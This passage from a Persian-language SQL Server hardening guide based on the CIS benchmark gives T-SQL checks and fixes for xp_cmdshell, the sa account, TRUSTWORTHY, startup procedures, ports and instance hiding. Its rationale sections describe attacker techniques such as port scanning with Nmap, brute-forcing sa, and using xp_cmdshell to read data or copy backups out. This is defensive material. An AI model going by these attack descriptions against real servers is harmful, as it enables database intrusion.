CAST(value as int) as value_configured, 

CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'remote admin connections' 

AND SERVERPROPERTY('IsClustered') = 0; 

اگر هیچ سطری باز گردانده نشود، آنگاه این نمونه پایگاه داده، کلاستر است و این توصیه روی آن عملی 

 را بازگردانند. 0نیست، اما در صورت بازگشت داده، هر دو ستون باید برای سازگار بودن مقدار 

 ی اجرا:نحوه •

 های کلاستر نشده اجرا کنید.زیر را برای پایگاه داده T-SQLدستورات 

EXECUTE sp_configure 'remote admin connections', 0; 

RECONFIGURE; 

GO 

 مقدار پیش فرض: •
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استفاده  DACهای محلی ممکن است از (، فقط ارتباطات0به طور پیش فرض این گزینه غیر فعال است )

 کنند.

 

 منابع: •

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/remote-admin-

connections-server-configuration-option 

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://www.postgresql.org/docs/9.0/static/creating-cluster.html 

 

در پیکربندی سرور اطمینان « Scan For Startup Procs» از صفر بودن مقدار گزینه .4.2.8

 .حاصل کنید

به طور خودکار  SQL Serverشود که در صورت فعال بودن، باعث می scan for startup procsی گزینه

را اجرا  هاآناند تا به هنگام بالا آمدن اجرا شوند، جستجو کرده و را که تنظیم شده ایهای ذخیره شدهرویه

 کنند.می

 منطق کار: •

 دهد.های مخرب را کاهش میاعمال این کنترل، تهدید نفوذ یک موجودیت به این امکانات، برای استفاده

 ی بررسی:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

SELECT name, 

CAST(value as int) as value_configured, 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/remote-admin-connections-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/remote-admin-connections-server-configuration-option
https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://www.postgresql.org/docs/9.0/static/creating-cluster.html
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CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'scan for startup procs'; 

 را بازگردانند. 0هر دو ستون باید مقدار 

 ی اعمال:نحوه •

 مجدد کنید. یاندازراهپایگاه داده را  Engineزیر را اجرا کنید و پس از آن  T-SQLدستور 

EXECUTE sp_configure 'show advanced options', 1; 

RECONFIGURE; 

EXECUTE sp_configure 'scan for startup procs', 0; 

RECONFIGURE; 

GO 

EXECUTE sp_configure 'show advanced options', 0; 

RECONFIGURE; 

 مقدار پیش فرض: •

 ( است.0غیرفعال )به طور پیش فرض، این گزینه 

 تاثیرات کار: •

های رویهشود که ، باعث میSQL Serverمجدد کردن  یاندازراهغیرفعال کردن این گزینه، در صورت 

فعال بودند، غیر فعال شوند. به علاوه، فرایند  1هاگیریکه جهت مانیتورینگ و بررسی پی ایذخیره شده

replicationدهدین گزینه دارد و به خودی خود، این تنظیمات را تغییر می، برای انجام نیاز به فعال بودن ا. 

                                                 

1 Audit Traces 
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(replicationها برای کپی کردن و پخش کردن اشیاء پایگاه داده از یک پایگاه داده، به ای از تکنولوژی، مجموعه

 ها برای حفظ یکپارچگی است.(بین این پایگاه داده یسازهمگامها و سپس دیگر پایگاه داده

 

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-scan-for-

startup-procs-server-configuration-option 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-scan-for-

startup-procs-server-configuration-option 

 .ل کنیداطمینان حاص در پایگاه داده« Trustworthy» از خاموش بودن گزینه .4.2.9

ای دیگر در یک دهد تا به شیبه یک شیء از یک پایگاه داده این اجازه را می Trustworthyی گزینه

 ی دیگر تحت شرایطی دسترسی داشته باشد.پایگاه داده

 منطق کار: •

 گیرد.های مخرب را میextended procedureها و CLR Assemblyغیر فعال کردن این گزینه جلوی 

 ی:ی بررسنحوه •

 زیر را اجرا کنید. T-SQLدستور 

SELECT name 

FROM sys.databases 

WHERE is_trustworthy_on = 1 

AND name!= 'msdb'; 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-scan-for-startup-procs-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-scan-for-startup-procs-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-scan-for-startup-procs-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-scan-for-startup-procs-server-configuration-option
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 هیچ سطری نباید بازگردانده شود.

 

 

 ی اعمال:نحوه •

پایگاه نام  ،<database_name>به جای عبارت )اجرا کنید.  پایگاه دادهزیر را برای هر  T-SQLدستور 

 اند را قرار دهید.(وجو بالا بازگردانده شدهکه توسط پرس یی( )ها داده

ALTER DATABASE [<database_name>] SET TRUSTWORTHY OFF; 

 مقدار پیش فرض: •

( به غیر از پایگاه is_trustworthy_on = 0به طور پیش فرض، این خصوصیت پایگاه داده غیر فعال است. )

 باشد. ONآن،  یکه باید این خصیصه msdbداده 

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-

property?view=sql-server-2016 

https://support.microsoft.com/it-it/help/2183687/guidelines-for-using-the-trustworthy-database-

setting-in-sql-server 

 

 .اطمینان حاصل کنید« SQL Server»های غیرضروری بودن پروتکلاز غیرفعال  .4.2.10

SQL Server  های از پروتکلبرای اتصالShared Memory ،Named Pipes  وTCP/IP  پشتیبانی

 SQLشود که توصیه می نفوذها و کاهش سطح اما برای جلوگیری از سوء استفاده از این پروتکل؛ کندمی

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-2016
https://support.microsoft.com/it-it/help/2183687/guidelines-for-using-the-trustworthy-database-setting-in-sql-server
https://support.microsoft.com/it-it/help/2183687/guidelines-for-using-the-trustworthy-database-setting-in-sql-server
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Server های شرکت تنظیم شود. برای آشنایی بیشتر با این ای مورد نیاز، با توجه به نیازهروی حداقل پروتکل

 داده شده است: هاآنها توضیح مختصری نیز در رابطه با پروتکل

Shared Memoryشود که کاربران به : این پروتکل برای این استفاده میSQL Server  ای متصل شوند

تواند مورد استفاده قرار گیرد ترین پروتکلی است که میساده Shared Memoryکه روی همان ماشین قرار دارد. 

ها، در هنگامی که آن توان جهت عیب یابی سایر پروتکلو هیچ گونه تنظیمات خاصی ندارد. از این پروتکل می

 اند، استفاده کرد.ها به طور درست تنظیم نشدهپروتکل

TCP/IPستفاده در ی مورد ا: پرکاربردترین پروتکل شبکهSQL Server ،TCP/IP  است. این پروتکل

هایی را برای این پروتکل استاندارد دهد.های مختلف را میها و سیستم عاملی ارتباط بین سخت افزاراجازه

ترین کند و در حال حاضر محبوبی امنیتی را ارائه میهای پیشرفتهمسیریابی ترافیک شبکه و همچنین قابلیت

گوش  1433روی پورت  TCPبه  SQL Serverاستفاده در تجارت است. به طور پیش فرض پروتکل مورد 

 دهد.می

Named Pipes: ی ارتباط به این صورت است شیوه های محلی ساخته شده است.بکهاین پروتکل برای ش

شود تا اطلاعاتی را برای پردازشی دیگر بفرستد یا در واقع که بخشی از حافظه توسط یک پردازش استفاده می

تواند محلی )روی همان کامپیوتر این پردازش دوم می که باشد.خروجی یک پردازش، ورودی پردازش دوم می

 اه دور )روی یک کامپیوتر در شبکه( باشد.که پردازش اول را داشته( و یا از ر

 منطق کار: •

دهد و در برخی موارد را کاهش می SQL Serverهای ارتباطی کمتر، سطح نفوذ استفاده از پروتکل

فقط در  SQL Serverی تواند از حملات از راه دور جلوگیری کند. برای مثال وقتی قرار است که یک نمونهمی

( فعال TCP/IPهای مربوط به ارتباط از راه دور )شود، دیگر نیازی ندارد تا پروتکل ی محلی استفادهیک شبکه

 باشد و این سطح نفوذ بهتر است که بسته شود.

 نحوه بررسی: •
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را باز کنید. )اگر در پیدا کردن آن مشکل داشتید،  SQL Server Configuration Managerفایل 

( سپس  (C:\Windows\SysWOW64\SQLServerManager13.msc توانید آن را از آدرس زیر پیدا کنید:می

 Protocols for <namedی وارد زبانه شوید. در آنجا SQL Server Network Configurationوارد بخش 

instance> در اینجا نام نمونه( ی شویدSQL Server  نصب شدهMSSQLSERVER  در )توانید، می آنجااست

 فعال را ببینید.های مطابق تصویر، پروتکل

 

 ی اجرا:نحوه •

 SQL Server Networkوارد بخش  SQL Server Configuration Managerی بررسی، در مانند نحوه

Configuration های مورد نظر خود را فعال یا غیر فعال کنید.شوید و در آنجا پروتکل 

 :تاثیر •

 مجدد شوند. یاندازراهباید برای اعمال این تغییر، ( SQLAgentو  MSSQLموتور پایگاه داده )
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 مقدار پیش فرض: •

غیر  Named Pipeفعال هستند و پروتکل  TCP/IPو  Shared Memoryهای به طور پیش فرض پروتکل

 فعال است.

 

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/enable-or-disable-a-

server-network-protocol 

https://www.sqlshack.com/sql-server-network-configuration/ 

https://technet.microsoft.com/en-us/library/ms187892(v=sql.105).aspx 

 

شده  های غیراستاندارد پیکربندیبرای استفاده از پورت« SQL Server»از اینکه   .4.2.11

 باشد اطمینان حاصل کنید.

، پورت TCP/IP، برای برقراری ارتباط از طریق پروتکل SQL Serverی پس از نصب، به یک نمونه

TCP:1433 شده را نیز طوری  یگذارنامهای توانند به صورت دستی نمونهها نیز میشود. مدیراختصاص داده می

است و  SQL Serverیک پورت مشهور در  TCP/1433استفاده کند. پورت  TCP/1433تنظیم کنند که از پورت 

باید  هاآنداده داشته باشیم، به هر کدام از این پورت اختصاص داده شده باید تغییر یابد. اگر ما چند نمونه پایگاه 

 ، اختصاص داده شود.TCP/1433یک پورت مجزا، به غیر از 

 منطق کار: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/enable-or-disable-a-server-network-protocol
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/enable-or-disable-a-server-network-protocol
https://www.sqlshack.com/sql-server-network-configuration/
https://technet.microsoft.com/en-us/library/ms187892(v=sql.105).aspx
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کند که جلوی حملاتی که به پایگاه داده از طریق پورت استفاده از یک پورت غیر استاندارد، کمک می

استفاده  Nmapتواند از نرم افزار یپیش فرض صورت گرفته است، گرفته شود. به طور مثال یک نفوذکننده م

ها روی یک ها و سرویسی امنیتی است که از آن برای کشف کردن هاستنرم افزار جستجو کننده Nmapکند. 

 SQLشود. با استفاده از این نرم افزار و با توجه به این که پورت پیش فرض ی کامپیوتری استفاده میشبکه

Server ،TCP:1433 داخل شبکه جستجویی انجام داد که چه سیستمی از این پورت استفاده توان است، می

دهد. این مورد استفاده می SQL Serverو همچنین اطلاعاتی نیز در رابطه با آن سیستم، مانند نسخه  کندمی

جهت نفوذ به سیستم استفاده  هاآنتوان از گونه اطلاعات مفید برای نفوذ، خود یک تهدید امنیتی است زیرا می

 باید تغییر داده شود. TCP/IPکرد، بنابراین، پورت پیش فرض پروتکل 

 ی بررسی:نحوه •

 زیر را اجرا کنید. T-SQLدستورات 

DECLARE @value nvarchar(256); 

EXECUTE master.dbo.xp_instance_regread 

N'HKEY_LOCAL_MACHINE', 

N'SOFTWARE\Microsoft\Microsoft SQL 

Server\MSSQLServer\SuperSocketNetLib\Tcp\IPAll', 

N'TcpPort', 

@value OUTPUT, 

N'no_output'; 

SELECT @value AS TCP_Port WHERE @value = '1433'; 

 نباید هیچ سطری بازگردانده شود.

 ی اعمال:نحوه •
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 SQL Server Networkرا باز کنید. سپس وارد بخش  SQL Server Configuration Managerفایل 

Configuration ی وارد زبانه شوید. در آنجاProtocols for <named instance>  شوید و سپس روی پروتکل

TCP/IP .کلیک کنید 

تا  IP2و  IP1در فرمت  IP، چند آدرس IP Addresses، داخل تب TCP/IP Propertiesی در صفحه

IPAll های تند. یکی از این آدرسموجود هسIP  مربوط بهloopback adapter شود که مقدار آن می

 نیز در لیست موجود هستند. IPهای ی آدرسباشد. بقیهمی 127.2.2.4

به یک پورت غیر استاندارد تغییر دهید. یا اینکه  1433را از  TCP Port، فیلد IPALLداخل  .1

تنظیم  0را روی  TCP Dynamic Portsرا خالی بگذارید و مقدار فیلد  TCP Portتوانید فیلد می

سپس  ؛ ورا تنظیم کند TCP/IPاجازه دهید تا به صورت پویا پورت  SQL Serverکنید تا به 

OK  مطابق تصویر زیر( کنید.را کلیک( 

http://www.webxpert.ro/andrei/2008/01/02/what-is-microsoft-loopback-adapter-and-why-do-we-need-it/
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کلیک  SQL Server Services، روی SQL Server Configuration Managerدر داخل خود  .2

 کنید.

 Restartمورد نظر راست کلیک کرده و سپس روی  SQL Serverدر پنل باز شده، روی نمونه  .3

 یر زیر()مطابق تصو متوقف شده و دوباره شروع به کار کند. SQL Serverکلیک کنید تا 
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 تاثیرات کار: •

کند که به یک پورت تصادفی گوش دهد. را مجبور می DACتغییر دادن مقدار پورت ]به یک مقدار پویا[ 

 1DAC یک قابلیتSQL Server ی ی در حال اجرادهد که به یک نمونهاست که به مدیر این اجازه را میSQL 

Server  دسترسی یابد تا مشکلات برروی سرور را عیب یابی کند، حتی اگر سرور قابلیت پاسخگویی به ارتباطات

های امنیتی شود که نیاز شود تا در برنامهها نباشد.( همچنین این تغییر داینامیک پورت باعث میسایر کلاینت

ی پایدار برای استفاده لی اگر از یک پورت ایستاای داشته باشیم. به طور کها نیاز به تنظیمات ویژهمانند فایروال

 SQL Serverهای پویائی است که به طور تصادفی در آغاز کار ها، بهتر از استفاده از پورتها، شامل فایروالبرنامه

 شود.ست می

 های زیر استفاده کرد:توان از راهمی SQL Serverها به پس از تغییر دادن پورت برای اتصال برنامه

ی موتور پایگاه داده با استفاده از نام متصل را اجرا کنید تا به نمونه SQL Server Browserسرویس  .1

 شوید.

 ی پورت آن مشخص باشد.( ایجاد کنید که شمارهaliasروی کلاینت یک نام مستعار ) .2

یگاه داده سفارشی به پا Connection Stringکنید که با استفاده از یک  یزیربرنامهکلاینت را طوری  .3

 متصل شود.

 مقدار پیش فرض: •

را  TCP:1433پورت  TCP/IPبرای ترافیک  SQL Serverپیش فرض های به طور پیش فرض، نمونه

 کنند.( استفاده میDynamicهای پویا )شده از پورت یگذارنامهای دهند و نمونهگوش می

 منابع: •

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-a-server-to-

listen-on-a-specific-tcp-port 

                                                 

1 Dedicated Administrator Connection 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-a-server-to-listen-on-a-specific-tcp-port
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-a-server-to-listen-on-a-specific-tcp-port
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https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://www.sqlshack.com/sql-server-network-configuration/ 

https://null-byte.wonderhowto.com/how-to/hack-databases-hunting-for-microsofts-sql-server-

0148993/ 

https://en.wikipedia.org/wiki/Nmap 

های عملیاتی برای نمونه« Yes»به « Hide Instance»از تنظیم مقدار گزینه  .4.2.12

SQL Server اطمینان حاصل کنید. 

تعیین شوند تا  Hiddenی محصول باید به صورت در محیط ارائه SQL Server یکلاستر نشدههای نمونه

 جلوگیری شود. SQL Serverویس مرورگر توسط سر هاآنی از ارائه

 

 منطق کار: •

Hidden های عملیاتی کردن نمونهSQL Server  مورد  هاآنشود، زیرا پایگاه داده می ترامنمنجر به نصب

 های کلاستر شده در صورت انتخاب این گزینه ممکن است دچار مشکل شوند.اما نمونه؛ گیرندشمارش قرار نمی

 ی بررسی:نحوه •

 زیر را اجرا کنید یا به صورت زیر، از رابط کاربری استفاده کنید. T-SQLتوانید دستور برای بررسی می

 :T-SQLدستور  •

DECLARE @getValue INT; 

EXEC master...xp_instance_regread 

@rootkey = N'HKEY_LOCAL_MACHINE', 

@key = N'SOFTWARE\Microsoft\Microsoft SQL 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://www.sqlshack.com/sql-server-network-configuration/
https://null-byte.wonderhowto.com/how-to/hack-databases-hunting-for-microsofts-sql-server-0148993/
https://null-byte.wonderhowto.com/how-to/hack-databases-hunting-for-microsofts-sql-server-0148993/
https://en.wikipedia.org/wiki/Nmap
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Server\MSSQLServer\SuperSocketNetLib', 

@value_name = N'HideInstance', 

@value = @getValue OUTPUT; 

SELECT @getValue; 

 باید بازگردانده شود. 1یک مقدار 

 رابط کاربری: •

باز  را SQL Server Network Configuration ، بخشSQL Server Configuration Managerدر  .1

 را انتخاب کنید. Propertiesراست کلیک کنید و سپس  <Protocols for <instance nameکنید، روی 

انتخاب شده بود  Yesرا بررسی کنید، اگر  Hide Instanceقسمت  Flagsی باز شده و در تب در صفحه .2

 این تنظیم درست است.

 

 ی اعمال:نحوه •
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 زیر را اجرا کنید یا به صورت زیر از رابط کاربری استفاده کنید. T-SQLبرای اعمال این تنظیم دستور 

EXEC master...xp_instance_regwrite 

@rootkey = N'HKEY_LOCAL_MACHINE', 

@key = N'SOFTWARE\Microsoft\Microsoft SQL 

Server\MSSQLServer\SuperSocketNetLib', 

@value_name = N'HideInstance', 

@type = N'REG_DWORD', 

@value = 1; 

 رابط کاربری: •

باز  را SQL Server Network Configuration ، بخشSQL Server Configuration Managerدر  .1

 را انتخاب کنید. Propertiesراست کلیک کنید و سپس  <Protocols for <instance nameکنید، روی 

کنید و سپس  Yesرا انتخاب و آن را  Hide Instance ی، گزینهFlagsی باز شده و در تب در صفحه .2

OK  شود.ی جدید اعمال میهااتصالرا بزنید. این تغییر بلافاصله برای 

 مقدار پیش فرض: •

 نیستند. SQL Server ،Hiddenهای به طور پیش فرض، نمونه

 تاثیر کار: •

 SQLی کند. اگر نمونهروی شبکه جلوگیری می SQL Serverی این شیوه، تنها از لیست شدن این نمونه

Server ،hidden  توسط ( باشدSQL Browser برنامه ،) ها برای اتصال باید سرور و در معرض گذاشته نشود

پورت آن را برای اتصال مشخص کنند. این مسئله، جلوی کاربران را از اتصال به سرور، در صورت دانستن نام 

 گیرد.ی پایگاه داده و پورت آن نمینمونه
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کنید، امکان دارد که سرویس کلاستر نتواند به  hideرا  SQL Serverی ی کلاستر شدهر شما یک نمونهاگ

SQL Server ی بیشتر به متصل شود. برای مطالعهdocument هایMicrosoft .مراجعه کنید 

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/hide-an-instance-of-

sql-server-database-engine?view=sql-server-2016 

 

 .باشد« Disabled»در حساب کاربری برای ورود « sa»مطمئن شوید گزینه  .4.2.13

های مشهور و به طور معمول مورد استفاده است که مجوز Sql Serverیک حساب  saحساب کاربری 

sysadmin است که در طول نصب ساخته شده و  سیستماصلی  نام کاربری ،را در اختیار دارد. این حساب

 را دارد. sid=0x01و  principal_id=1همیشه 

 :منطق کار •

 یک حساب کاربری معروف است saبا توجه به اینکه  ،نفوذکنندهیک  saدر صورت فعال بودن حساب 

وارد سیستم شود و  مدیر ساب را بیابد و به عنوان یک کاربر با مجوزرمز عبور ح غیرهوشمندتواند با حملات می

و حتی اعطای مجوز ها تواند هرکاری در سیستم از جمله واکشی اطلاعات و تغییرات در جدولمی در این حال

تواند یک حساب کاربری می را به خود بدهد. همچنین xp_cmdshellسیستم عامل از طریق  دستوراتاجرای 

شود تا احتمال می توصیه saبعدی برای خود ایجاد کند. به همین دلیل غیر فعال کردن حساب های نفوذبرای 

 کاهش یابد. هانفوذکنندهاینگونه حملات 

 :بررسیی نحوه •

غیر فعال است یا خیر. بررسی  saتوان متوجه شد آیا حساب می SQL Serverبا اجرای دستورات زیر در 

sid=0x01  از این جهت است که ممکن است نام حسابsa .تغییر داده شده باشد 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/hide-an-instance-of-sql-server-database-engine?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/hide-an-instance-of-sql-server-database-engine?view=sql-server-2016
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SELECT name, is_disabled 

FROM sys.server_principals 

WHERE sid = 0x01 AND is_disabled = 0; 

در غیر اینصورت حساب  ،غیر فعال است saاگر هیچ سطری برگردانده نشود به این معناست که حساب 

 فعال است و نیاز به تغییر دارد.

 :اعمالی نحوه •

 زیر را وارد کنید. T-SQLدستورات 

USE [master] 

GO 

DECLARE @tsql nvarchar(max) 

SET @tsql = 'ALTER LOGIN ' + SUSER_NAME(0x01) + ' DISABLE' 

EXEC (@tsql) 

GO 

 :مقدار پیش فرض •

را انتخاب  Windows Authenticationی احراز هویت گزینهی تعیین نحوه اگر در هنگام نصب در قسمت

را انتخاب  Mixed Authenticationی اما اگر گزینه ،غیر فعال است saکرده باشید به صورت پیش فرض حساب 

 فعال است. saحساب  ،کرده باشید

 :تاثیرات کار •

اما ؛ نوشت saرا با استفاده از حساب ها اسکریپتو ها چندان مناسب نیست که نرم افزار ،از لحاظ امنیتی

را از احراز هویت ها و اسکریپتها جلوی نرم افزار saغیر فعال کردن حساب  ،اگر این امر قبلا صورت گرفته باشد

نیازمند تنظیمات و ها گیرند و این نرم افزارمی هایشان راو کاربریها و ورود به پایگاه داده و انجام وظیفه
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مقدور نباشد و به این دلیل یا هر دلیل دیگری مجبور باشیم ها اما اگر تغییر و تنظیم نرم افزار؛ شوندمی تغییرات

 :استفاده کنیم باید موارد زیر را لحاظ کنیم saاز حساب 

اولا رمز عبور حساب باید یک رمز غیر قابل حدس و طولانی باشد که بهتر است برای انجام آن از نرم  

 گیر باشد.کاری بسیار دشوار و زمان brute-forceتولید رمز استفاده کرد تا های رافزا

ورود ناشی از های ثانیا حتی اگر امکان حدس زدن رمز غیر ممکن باشد باز هم پاسخ به درخواست 

brute-force  زمان زیادی ازCPU شود به همین دلیل باید جلویمیگیرد و باعث کاهش کارایی سیستم می 

brute-force تواند از طریق فایروال با بلاک کردن می گرفته شود که اینip که بیش از تعداد مشخصی هایی

پایگاه های ثبت وقایعتوان در می ورود به سیستم راهای انجام شود و تلاش اندهدرخواست ورود به سیستم را داد

یا  Fail2Banیا  SSHGuardنظیر هایی ن از نرم افزارتوامی البته اشاره شده در پایین بررسی کرد. داده به روش

IPBan  یاRDPGuard مربوط به بررسی  ذخیره شده هایرویه توان با استفاده ازمی نیز استفاده کرد همچنین

 در زیر است: هاآناعمال محدودیت کرد که آدرس راهنمای  هاآنرا بررسی و روی  هاینام کاربر کاربرها،

https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers 

 شده باشد.در حساب کاربری برای ورود تغییر نام داده« sa»مطمئن شوید گزینه  .4.2.14

توان به می حسابی مشهور و مورد استفاده است که saر که در بالا اشاره شد حساب کاربری همانطو

 به آن نفوذ کرد و باید جلوی این امر گرفته شود. brute-forceصورت 

 :منطق کار •

بر علیه آن  brute-forceو  رمز عبورانجام حملات حدس  ،تغییر کرده باشد و مشخص نباشد saاگر نام 

 بسیار سخت خواهد بود.

 :بررسیی نحوه •

 تغییر نام داده شده است یا خیر. saبررسی کنید که آیا  SQL Serverبا استفاده از دستور زیر در 

https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers
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SELECT name 

FROM sys.server_principals 

WHERE sid = 0x01; 

 تغییر نام داده نشده و نیازمند تغییر است. saبازگردانده شود به این معنی است که  saاگر سطری با نام 

 :اعمالی نحوه •

 sa نام کاربریرا وارد کنید و دستور زیر را اجرا کنید تا  مقدار دلخواه خود <different_user>به جای 

 تغییر کند.

ALTER LOGIN sa WITH NAME = <different_user>; 

 :مقدار پیش فرض •

 است. ”sa“همان  sa کاربرینام به طور پیش فرض مقدار اولیه 

 

 :تاثیرات کار •

نام که از هایی و اسکریپتها شود که نرم افزارمی تغییر نام دادن آن نیز باعث ،saهمانند غیر فعال کردن 

 شوند و نیازمند تنظیمات هستند.می دچار مشکل ،کنندمی استفاده sa کاربری

س و سروی هایروزرسانبهنصب ی مینهمشکلاتی در ز ممکن است saالبته غیرفعال کردن و تغییر نام دادن 

اما در عمل در برخی موارد مشکلاتی  ،هیچ گونه مشکلی نباید پیش آید ،ایجاد کند. هر چند در تئوریها پک

دوباره به نام  saحساب  ،بروزرسانیشود که قبل از انجام هر گونه می دیده شده است. در چنین مواردی توصیه

 دوباره تغییر نام داده شده و غیر فعال شود. یروزرسانبهدانده شده و فعال شود و پس از نصب اصلی خود برگر

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
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https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-

mode 

https://www.mssqltips.com/sqlservertip/3695/best-practices-to-secure-the-sql-server-sa-account/ 

 

در پیکربندی سرور اطمینان حاصل « xp_cmdshell» از صفر بودن مقدار گزینه .4.2.15

 .کنید

بتوانند توسط  xp_cmdshellی اضافه یهای ذخیره شدهرویهکند که کنترل می xp_cmdshellی گزینه

سیستم عامل را اجرا کنند و نتایج را به صورت  خط فرماناحراز هویت شده، دستورات  SQL Serverیک کاربر 

 بازگردانند. SQLسطر برای کلاینت 

 

 

 منطق کار: •

گیرد تا در سیستم عاملی می مورد استفاده قرار هانفوذکنندهبه طور معمول توسط  xp_cmdshellی رویه

توانند در صورت برای مثال می اطلاعات بخوانند یا در آن داده بنویسند. ،که پایگاه داده در بستر آن قرار دارد

ین بهتر ی شما بگیرند و آن را برای خود ارسال کنند. برای همهای لازم یک پشتیبان از پایگاه دادهداشتن مجوز

 است که این گزینه غیرفعال باشد.

 ی بررسی:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

SELECT name, 

CAST(value as int) as value_configured, 

https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode
https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode
https://www.mssqltips.com/sqlservertip/3695/best-practices-to-secure-the-sql-server-sa-account/
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CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'xp_cmdshell'; 

 باشند. 0باید  هر دو مقدار بازگردانده شده

 ی اعمال:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

EXECUTE sp_configure 'show advanced options', 1; 

RECONFIGURE; 

EXECUTE sp_configure 'xp_cmdshell', 0; 

RECONFIGURE; 

GO 

EXECUTE sp_configure 'show advanced options', 0; 

RECONFIGURE; 

 مقدار پیش فرض: •

 ( است.0طور پیش فرض، این گزینه غیرفعال )به 

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-

transact-sql 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-

configuration-option 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option
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https://www.blackhat.com/presentations/bh-europe-07/Cerrudo/Whitepaper/bh-eu-07-cerrudo-

WP-up.pdf 

 

« OFF»در حالت ها پایگاه دادهبر روی  «AUTO_CLOSE»مطمئن شوید که  .4.2.16

 باشد.

ی داده شده بعد از قطع شدن یک کند که آیا یک پایگاه دادهمشخص می AUTO_CLOSEی گزینه

نیاز به این خواهند داشت  های بعدی به پایگاه دادهشود یا خیر. اگر این گزینه فعال باشد، اتصالاتصال، بسته می

 که اتصال دوباره باز شود و رویه مربوط به آن دوباره اجرا شوند.

 منطق کار: •

ی و نه در مرتبه پایگاه دادهها در داخل خود به دلیل این که احراز هویت کاربران برای پایگاه داده

server\instance گیرد، پایگاه داده نیاز دارد تا هر دفعه برای احراز هویت یک کاربر باز شود. باز و صورت می

تواند محلی برای اجرای حملات رد و همچنین میگیرا از سرور می اییاضافبسته کردن مکرر پایگاه داده، منابع 

 ( شود.DOSی خدمت )خودداری از ارائه

 ی بررسی:نحوه •

 اند، مشخص شوند.هایی که مطابق این امر تنظیم نشدهدستور زیر را اجرا کنید تا پایگاه داده

SELECT name, containment, containment_desc, is_auto_close_on 

FROM sys.databases 

WHERE containment <> 0 and is_auto_close_on = 1; 

 هیچ سطری نباید بازگردانده شود.

 ی اعمال:نحوه •

https://www.blackhat.com/presentations/bh-europe-07/Cerrudo/Whitepaper/bh-eu-07-cerrudo-WP-up.pdf
https://www.blackhat.com/presentations/bh-europe-07/Cerrudo/Whitepaper/bh-eu-07-cerrudo-WP-up.pdf
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پایگاه نام  ،<database_name>اجرا کنید. ) به جای عبارت  پایگاه دادهزیر را برای هر  T-SQLدستور 

 اند را قرار دهید.(وجوی بالا بازگردانده شده)ها(یی که توسط پرس داده

ALTER DATABASE <database_name> SET AUTO_CLOSE OFF; 

 مقدار پیش فرض: •

)غیر فعال( است که معادل با عبارت  OFFپایگاه داده  AUTO_CLOSEبه طور پیش فرض، خصوصیت 

is_auto_close_on = 0 .است 

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/relational-databases/databases/security-best-practices-with-

contained-databases?view=sql-server-2016 

 

 موجود نباشد. « sa»ی با نام نام کاربر مطمئن شوید که هیچ .4.2.17

بنابراین ؛ است SQL Serverیک حساب مشهور و مورد استفاده در  sa نام کاربری ،همانطور که اشاره شد

تغییر نام داده  (principal_id = 1)با  saاصلی  نام کاربریموجود باشد حتی اگر  saبا نام  ینام کاربرنباید هیچ 

 شده باشد.

 :منطق کار •

